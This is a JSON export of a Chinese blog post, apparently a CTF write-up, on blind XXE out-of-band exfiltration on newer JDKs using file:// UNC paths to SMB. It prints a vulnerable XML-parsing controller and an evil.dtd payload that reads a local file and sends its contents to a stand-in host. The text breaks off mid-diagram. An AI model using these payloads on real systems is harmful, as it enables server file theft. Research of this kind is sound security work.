{"id":40,"date":"2026-01-03T02:27:52","date_gmt":"2026-01-02T18:27:52","guid":{"rendered":"http:\/\/byname6.cn\/?p=40"},"modified":"2026-01-03T02:27:52","modified_gmt":"2026-01-02T18:27:52","slug":"%e9%ab%98%e7%89%88%e6%9c%acjdk%e4%b8%8b%e6%97%a0ftp%e7%9a%84xxe-oob","status":"publish","type":"post","link":"http:\/\/byname6.cn\/index.php\/2026\/01\/03\/%e9%ab%98%e7%89%88%e6%9c%acjdk%e4%b8%8b%e6%97%a0ftp%e7%9a%84xxe-oob\/","title":{"rendered":"\u9ad8\u7248\u672cJDK\u4e0b\u65e0FTP\u7684XXE OOB"},"content":{"rendered":"\n<p>\u6700\u8fd1\u901a\u8fc7\u5b66\u4e60\u5230Killer\u5e08\u5085\u51fa\u7684\u9898<a href=\"https:\/\/github.com\/cwkiller\/Java-Puzzle\/tree\/main\/No-FTP-XXE\">Java-Puzzle\/No-FTP-XXE at main \u00b7 cwkiller\/Java-Puzzle \u00b7 GitHub<\/a><\/p>\n\n\n\n<p>\u8fd9\u91cc\u5bf9XXE OOB\u7684\u4e00\u4e2a\u603b\u7ed3\u548c\u6d45\u663e\u5206\u6790\uff1a<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u4e00\u822c\u60c5\u51b5\u4e0bXXE OOB\u7684\u601d\u8def<\/h1>\n\n\n\n<p>\u4f20\u7edf\u7684\u65e0\u56de\u663eXXE OOB\u4e2d\uff0chttp\u534f\u8bae\u5916\u5e26\u6570\u636e\u53ea\u643a\u5e26\u5355\u884c\u7684\u6570\u636e(\u4e0d\u80fd\u6709\\n)\uff1b\u4e00\u822c\u6765\u8bf4\uff0c\u5bf9\u4e8e\u591a\u884c\u7684\u6570\u636e\u5916\u5e26\u4e00\u822c\u6709\u8fd9\u51e0\u79cd\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<p><strong>1.php\u5229\u7528\u4f2a\u534f\u8bae\u5c06\u5185\u5bb9\u7f16\u7801\u5916\u5e26<\/strong><\/p>\n\n\n\n<p><strong>2.\u5916\u90e8\u5b9e\u4f53\u5229\u7528FTP\u534f\u8bae\u5e26\u51fa\u591a\u884c\u5185\u5bb9<\/strong><\/p>\n\n\n\n<p><strong><code>JDK&gt;=8u131<\/code><\/strong>\u540e\u5931\u6548\uff0c<strong><code>sun.net.ftp.impl.FtpClient#issueCommand<\/code>\u68c0\u6d4b\u5230\\n\u4f1a\u629b\u51fa\u5f02\u5e38`<\/strong><\/p>\n\n\n\n<p><strong>3.XXE\u62a5\u9519\u6ce8\u5165<\/strong><\/p>\n\n\n\n<p>\u524d\u63d0\uff1a\u670d\u52a1\u5668\u5bf9\u5f02\u5e38\u7684\u5904\u7406\u80fd\u591f\u56de\u663e\u5230\u54cd\u5e94\u5305\u3002\u539f\u7406\u7b49\u540c\u4e8eSQL\u62a5\u9519\u6ce8\u5165\uff0c\u8bf7\u6c42\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u8def\u5f84\u5e76\u62fc\u63a5\u8bfb\u53d6\u6587\u4ef6\u7684\u5b9e\u4f53\u53c2\u6570\uff0c\u89e3\u6790\u5668\u4f1a\u89e3\u6790\u8be5\u5b9e\u4f53\u53c2\u6570\u5e76\u62a5\u9519\u3002<\/p>\n\n\n\n<p>\u4e0d\u51fa\u7f51\u60c5\u51b5\u4e0b\uff0c\u9700\u8981\u627e\u5230\u672c\u5730\u73af\u5883\u7684dtd\uff0c\u5229\u7528&#8221;xml\u4e2d\u4e24\u4e2a\u76f8\u540c\u540d\u79f0\u7684\u5b9e\u4f53\uff0c\u53ea\u6709\u7b2c\u4e00\u4e2a\u4f1a\u88ab\u4f7f\u7528&#8221;\u7684\u7279\u6027\u8fdb\u884c\u8986\u76d6\u3002<a href=\"https:\/\/mohemiv.com\/all\/exploiting-xxe-with-local-dtd-files\/\">\u5229\u7528\u672c\u5730 DTD \u6587\u4ef6\u8fdb\u884c XXE \u653b\u51fb &#8212; Exploiting XXE with local DTD files<\/a><\/p>\n\n\n\n<p>\u5728PHP libxml\u73af\u5883\u4e0b\uff0c\u4e5f\u53ef\u4ee5\u5229\u7528\u5176\u81ea\u8eab\u8bed\u6cd5\u5e26\u5165xml\u4f5c\u4e3a&#8221;\u5916\u90e8\u5b9e\u4f53&#8221;\uff0c\u8fdb\u800c\u4e0d\u7528\u5bfb\u6c42\u73af\u5883\u4e2d\u7684dtd\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u63a2\u7d22<\/h1>\n\n\n\n<p>\u9898\u76ee\u4ee3\u7801\u5b58\u5728XXE\uff0c\u4f46\u4e5f\u5c06\u4ee5\u4e0a\u6240\u6709\u7684\u9009\u9879\u90fdban\u6389\u4e86\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public class BlindXxeController {<br> &nbsp; &nbsp;@PostMapping({\"\/update-config\"})<br> &nbsp; &nbsp;public ResponseEntity&lt;Map&lt;String, Object&gt;&gt; updateSystemConfig(@RequestParam(\"configXml\") String configXml, HttpServletRequest request) {<br> &nbsp; &nbsp; &nbsp; &nbsp;Map&lt;String, Object&gt; response = new HashMap();<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp;try {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CompletableFuture.runAsync(() -&gt; {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;SAXReader reader = new SAXReader();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Document document = reader.read(new StringReader(configXml));<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;this.processConfigDocument(document);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  } catch (DocumentException e) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;System.err.println(\"\u914d\u7f6e\u5904\u7406\u9519\u8bef: \" + e.getMessage());<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  });<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;response.put(\"status\", \"success\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;response.put(\"message\", \"\u914d\u7f6e\u66f4\u65b0\u8bf7\u6c42\u5df2\u63d0\u4ea4\uff0c\u6b63\u5728\u540e\u53f0\u5904\u7406\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return ResponseEntity.ok(response);<br> &nbsp; &nbsp; &nbsp;  } catch (Exception var5) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;response.put(\"status\", \"error\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;response.put(\"message\", \"\u914d\u7f6e\u66f4\u65b0\u8bf7\u6c42\u5931\u8d25\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;response.put(\"error\", \"\u7cfb\u7edf\u5185\u90e8\u9519\u8bef\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return ResponseEntity.internalServerError().body(response);<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>\u200b<br> &nbsp; &nbsp;private void processConfigDocument(Document document) {<br> &nbsp; &nbsp; &nbsp; &nbsp;try {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Element root = document.getRootElement();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;List&lt;Element&gt; settings = root.elements(\"setting\");<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;for(Element setting : settings) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;String name = setting.attributeValue(\"name\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;String value = setting.getTextTrim();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;System.out.println(\"\u66f4\u65b0\u914d\u7f6e: \" + name + \" = \" + value);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;System.out.println(\"\u914d\u7f6e\u5904\u7406\u5b8c\u6210\uff0c\u5171\u5904\u7406 \" + settings.size() + \" \u4e2a\u914d\u7f6e\u9879\");<br> &nbsp; &nbsp; &nbsp;  } catch (Exception e) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;System.err.println(\"\u914d\u7f6e\u5904\u7406\u5f02\u5e38: \" + e.getMessage());<br> &nbsp; &nbsp; &nbsp;  }<br>\u200b<br> &nbsp;  }<\/code><\/pre>\n\n\n\n<p>\u6355\u83b7\u6240\u6709\u5f02\u5e38\uff0c\u65e0\u6cd5\u62a5\u9519\u6ce8\u5165 \uff1bJDK\u7248\u672c&gt;8u131\uff0cFTP\u5916\u5e26\u4e5f\u4e0d\u884c\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260102174938970.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260102174938970.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102174938970\"\/><\/div><\/figure>\n\n\n\n<p>http\/https\u534f\u8bae\u7684\u5176\u5b83\u4f4d\u7f6e\u5982@username\u5728\u4f4e\u7248\u672c\u65e0\u6cd5\u5e26\u51fa\\n\u540e\u7684\u6570\u636e\uff0c\u9ad8\u7248\u672c\u76f4\u63a5\u62a5\u9519\u3002<\/p>\n\n\n\n<p>jar\u534f\u8bae\u7684\u8fdc\u7a0b\u8fde\u63a5\u672c\u8d28\u4e0a\u5c31\u662f\u8c03\u7528\u7684\u6307\u5411jar\u5305\u7684\u534f\u8bae\uff0c\u5982<strong><code>jar:http:\/\/host:port\/file\/to\/path.jar<\/code><\/strong>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260102182643412.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260102182643412.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102182643412\"\/><\/div><\/figure>\n\n\n\n<p>mailto\u534f\u8bae\u672c\u8eab\u4e0d\u643a\u5e26\u4efb\u4f55\u6570\u636e\u8fdb\u884c\u8fde\u63a5\uff0c\u53ea\u4f1a\u5f39\u51fa\u4e00\u4e2a\u90ae\u7bb1api\u3002<\/p>\n\n\n\n<p>\u90a3\u4e48\u4fbf\u53ea\u5269\u4e0bfile\/netdoc\u534f\u8bae\u4e86\uff0c\u8fd9\u5728\u4e00\u822c\u7684\u5370\u8c61\u91cc\u4f3c\u4e4e\u53ea\u80fd\u7528\u4e8e\u672c\u5730\u8d44\u6e90\u8bbf\u95ee\uff0c\u6700\u591a\u53ea\u662f\u51fa\u73b0\u8fc7file:\/\/localhost\/file\/to\/path\u8fd9\u6837\u7684\u7279\u6b8a\u5199\u6cd5\u3002<\/p>\n\n\n\n<p>\u679c\u771f\u5982\u6b64\u5417\uff1f<\/p>\n\n\n\n<p>\u5176\u5b9e\u7ffb\u9605\u6587\u6863 \uff0c\u6211\u4eec\u5728RFC\u5bf9\u4e8eFILE\u7684\u89c4\u8303\u4e2d\u53ef\u4ee5\u770b\u89c1\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103012052842.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103012052842.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103012052842\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103012112937.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103012112937.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103012112937\"\/><\/div><\/figure>\n\n\n\n<p>(<a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc8089#page-15\">RFC 8089 &#8211; &#8220;\u6587\u4ef6&#8221; URI \u65b9\u6848 &#8212; RFC 8089 &#8211; The &#8220;file&#8221; URI Scheme<\/a>)<\/p>\n\n\n\n<p>FILE\u662f\u652f\u6301UNC\u8def\u5f84\u7684\uff0c\u4e14\u4e00\u822c\u6709\u4e24\u79cd\u5199\u6cd5\u7b2c\u4e00\u79cd\u662f\u6807\u51c6\u5199\u6cd5\uff1a<code>file:\/\/host\/path\/to\/file<\/code><\/p>\n\n\n\n<p>\u7b2c\u4e8c\u79cd\u662f\u5148\u540e\u517c\u5bb9\u7684\u5199\u6cd5\uff1a<code>file:\/\/\/\/host\/path\/to\/file<\/code><\/p>\n\n\n\n<p>UNC\u8def\u5f84\u7684\u5229\u7528\u6b63\u597d\u5bf9\u5e94\u9898\u76ee\u7684\u6240\u4f7f\u7528windows\u7cfb\u7edf<strong>(LINUX\u7684\u6807\u51c6API\u662f\u4e0d\u652f\u6301UNC\u8bbf\u95ee\u7684\uff0c\u5728LINUX\u4e2d\u8bbf\u95ee\u540c\u57df\u7684Windows\u4e00\u822c\u9700\u8981\u7528\u5230smbclient\u547d\u4ee4 <a href=\"https:\/\/dev59.com\/unix\/ZUXRa4cB1Zd3GeqPpzMi\">\u5982\u4f55\u4eceLinux\u8bbf\u95ee\u6211\u7684Windows\u7ba1\u7406\u5171\u4eab\uff1f networking samba file-sharing &#8211; Dev59<\/a>)<\/strong><\/p>\n\n\n\n<p>\u800cUNC\u8def\u5f84\u7684\u8bbf\u95ee\u5728windows\u4e2d\u5e95\u5c42\u5b9e\u73b0\u9ed8\u8ba4\u5bf9\u5e94\u8d70SMB\u534f\u8bae\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5e94\u7528\u7a0b\u5e8f\u8bf7\u6c42 \\\\server\\share<br> &nbsp; &nbsp; &nbsp;  \u2193<br>\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510<br>\u2502 &nbsp; \u591a\u91cdUNC\u63d0\u4f9b\u7a0b\u5e8f (MUP) &nbsp; &nbsp;  \u2502 \u2190 \u8def\u7531\u4e2d\u5fc3<br>\u2502 &nbsp; \u2022 \u679a\u4e3e\u6240\u6709\u6ce8\u518c\u7684\u63d0\u4f9b\u7a0b\u5e8f &nbsp;  \u2502<br>\u2502 &nbsp; \u2022 \u6309\u987a\u5e8f\u5c1d\u8bd5\u6bcf\u4e2a\u63d0\u4f9b\u7a0b\u5e8f &nbsp;  \u2502<br>\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2193<br> &nbsp;  \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510<br> &nbsp;  \u2502 \u63d0\u4f9b\u7a0b\u5e8f1: SMB &nbsp; \u2502 \u2190 \u9ed8\u8ba4\u4f18\u5148<br> &nbsp;  \u2502 \u63d0\u4f9b\u7a0b\u5e8f2: WebDAV\u2502<br> &nbsp;  \u2502 \u63d0\u4f9b\u7a0b\u5e8f3: NFS &nbsp; \u2502<br> &nbsp;  \u2502 \u63d0\u4f9b\u7a0b\u5e8f4: FTP &nbsp; \u2502<br> &nbsp;  \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/pre>\n\n\n\n<p>\u7531\u6b64\uff0c\u6211\u4eec\u53c8\u627e\u5230\u4e86\u4e00\u6761\u8def\u5f84\uff0c\u80fd\u591f\u8ba9\u76ee\u6807windows\u673a\uff0c\u5411\u6211\u4eec\u7684\u670d\u52a1\u5668\u53d1\u8d77\u643a\u5e26\u6570\u636e\u7684SMB\u8bf7\u6c42\u3002<\/p>\n\n\n\n<p>\u90a3\u4e48SMB\u534f\u8bae\u80fd\u5426\u652f\u6301\u6211\u4eec\u643a\u5e26\u591a\u884c\u6570\u636e\u5462\uff1f<\/p>\n\n\n\n<p>\u4f3c\u4e4e\u662f\u53ef\u4ee5\u7684\uff0c\u524d\u9762\u63d0\u5230\u4e86\uff0c\u5bf9UNC\u8def\u5f84\u7531\u4ec0\u4e48\u534f\u8bae\u53d1\u8d77\u8bf7\u6c42\u662f\u7531windows\u51b3\u5b9a\u7684\uff0c\u81ea\u7136\u5bf9\u4e8e\u9488\u5bf9\u8def\u5f84\u7684\u5904\u7406\u903b\u8f91\u4e5f\u4f1a\u653e\u5728windows\u5c42\uff0c\u800c\u6df1\u5165\u5230\u8fd9\u4e2a\u5c42\u9762\u7684API\uff0c\u5bf9\u4e8e\\n\u7684\u8fd9\u79cd\u5b57\u7b26\u4e00\u822c \u4e0d\u4f1a\u90a3\u4e48\u654f\u611f\u3002<\/p>\n\n\n\n<p>\u7ecf\u8fc7\u8c03\u8bd5\u4e5f\u786e\u5b9e\u5982\u6b64 \uff0cJAVA\u5c42\u5bf9UNC\u8def\u5f84\u6ca1\u6709\u5982\u4e0d\u5141\u8bb8\\n\u7c7b\u4f3c\u8fd9\u6837\u7684\u9650\u5236\uff0c\u5177\u4f53\u7684\u4ee3\u7801\u653e\u5728\u4e0b\u9762\u6765\u8bf4\u3002<\/p>\n\n\n\n<p>\u8ba9\u6211\u4eec\u56de\u5230XXE\u5bf9\u5176\u7684\u5229\u7528\u4e0a\uff0c\u6211\u4eec\u80fd\u5426\u76f4\u63a5\u5728.dtd\u6587\u4ef6\u4e2d\u5229\u7528UNC\u8def\u5f84\u8fdb\u884c\u8fdc\u7a0b\u8bf7\u6c42\u4e2d\u5462\uff1f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"> &nbsp; configXml = \"&lt;!DOCTYPE convert [\\n\" +<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \"&lt;!ENTITY % remote SYSTEM \\\"http:\/\/127.0.0.1:1111\/evil.dtd\\\"&gt;\\n\" +<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \"%remote;%int;%send;\\n\" +<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \"]&gt;\";<\/pre>\n\n\n\n<p>evil.dtd<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;!ENTITY % file SYSTEM \"file:\/\/\/D:\/1.txt\"&gt;<br>&lt;!ENTITY % int \"&lt;!ENTITY &amp;#37; send SYSTEM ' \\\\127.0.0.1?p=%file;'&gt;\"&gt;<\/pre>\n\n\n\n<p>\u8fd9\u65f6\u4f1a\u62a5\u9519 \uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103004325420.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103004325420.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103004325420\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u662f\u56e0\u4e3aXML\u89e3\u6790\u5668\u5bf9\u4e8e\u5916\u90e8\u5b9e\u4f53\u7684\u8fde\u63a5\uff0c\u7b2c\u4e00\u6b65\u4e00\u5b9a\u662f\u5efa\u7acb\u4e00\u4e2ajava.net.URL\u5bf9\u8c61\uff0c\u800cjava.net.URL\u5bf9\u8c61\u662f\u4e0d\u63a5\u53d7UNC\u8def\u5f84\u7684\u3002<\/p>\n\n\n\n<p>\u90a3\u4e48Java\u4e2d\u7684FILE\u534f\u8bae\u662f\u5982\u4f55\u5b9e\u73b0\u5bf9UNC\u8def\u5f84\u7684\u8bf7\u6c42\u7684\u5462\uff1f<\/p>\n\n\n\n<p>\u9501\u5b9a\u89e3\u6790FILE\u534f\u8bae\u5bf9\u5e94\u7684Handler\u4e2d\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103004714744.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103004714744.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103004714744\"\/><\/div><\/figure>\n\n\n\n<p><strong><code>sun.net.www.protocol.file.Handler#openConnection()<\/code><\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103004732735.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103004732735.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103004732735\"\/><\/div><\/figure>\n\n\n\n<p>\u5bf9FILE\u534f\u8bae\u7684\u5904\u7406\u6d41\u7a0b\u5927\u6982\u662f\u8fd9\u6837\u7684\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u63a5\u6536 file:\/\/ \u683c\u5f0f\u7684URL \u2192 \u89e3\u6790\u4e3b\u673a\u548c\u6587\u4ef6\u8def\u5f84 \u2192 \u5224\u65ad\u662f\u5426\u4e3a\u7f51\u7edc\u8def\u5f84? \u2192 \u662f \u2192 \u5c1d\u8bd5\u4f5c\u4e3aUNC\u8def\u5f84\u8bbf\u95ee \u2192 \u6210\u529f? \u2192 \u662f \u2192 \u8fd4\u56de\u6587\u4ef6URL\u8fde\u63a5<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \u2193 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \u2193 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2193<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u5426 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u5426 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u5426<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \u2193 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \u2193 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2193<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u4f5c\u4e3a\u672c\u5730\u6587\u4ef6\u5904\u7406 \u2190------------- \u5c1d\u8bd5\u4f5c\u4e3aFTP\u56de\u9000 \u2190---- 